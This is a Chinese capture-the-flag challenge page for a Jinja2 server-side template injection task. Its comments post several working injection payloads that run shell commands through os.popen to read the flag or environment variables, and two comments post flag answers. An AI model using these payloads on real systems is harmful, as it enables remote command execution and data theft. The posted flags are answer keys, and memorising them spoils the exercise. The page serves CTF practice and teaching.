Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 15933
提  示:
描  述:
Simple_SSTI_2
评论
HK1ng 6天前

详解:https://blog.csdn.net/m0_59527104/article/details/147013776

回复 0

smtall 15天前

flag={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}

回复 0

hao7 4月前

?flag={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat flag').read()}}{%endif%}{%endfor%}

回复 1

超爱西西鸭 7月前

/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()}}

回复 1

pettter 8月前

?id={{config.__class__.__init__.__globals__['os'].popen('printenv').read()}}

回复 0

不会写代码的菜鸟 9月前

大佬们,为啥不能直接flag={{os.popen('cat ../app/flag').read()}}还需要加上那么多前缀

回复 1
qingchuan 8月前

因为没有import os,os是未定义的

回复 4

q1152874733 9月前

http://114.67.175.224:11052/?flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag').read()")}}

回复 0

Royic 9月前

/?flag={{config.__class__.__init__.__globals__['os'].popen('grep -r flag{ ./').read()}}

回复 0

sz007 10月前

flag{6c85015e98aa08e245d15289704dfd8b}

回复 0

如你所愿 10月前

flag{5566f3c3cc3821f4a768384d2a387aae}

回复 0

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

MD 攻破了该题 1天前
call1ng 攻破了该题 2天前
junmoo 攻破了该题 2天前
clannad 攻破了该题 3天前
19513396653 攻破了该题 4天前
HK1ng 攻破了该题 6天前
sun_space 攻破了该题 6天前
ct1640 攻破了该题 7天前
zypts 攻破了该题 8天前
288728 攻破了该题 10天前
看writeup刷题 攻破了该题 11天前
冯123456 攻破了该题 12天前
小城阿扬 攻破了该题 13天前
smtall 攻破了该题 15天前
3028545694 攻破了该题 16天前
15248665739 攻破了该题 17天前
Zzz0529 攻破了该题 18天前
炸鱼饼 攻破了该题 19天前
怀抱晚安 攻破了该题 19天前
tingsi464 攻破了该题 20天前
问题反馈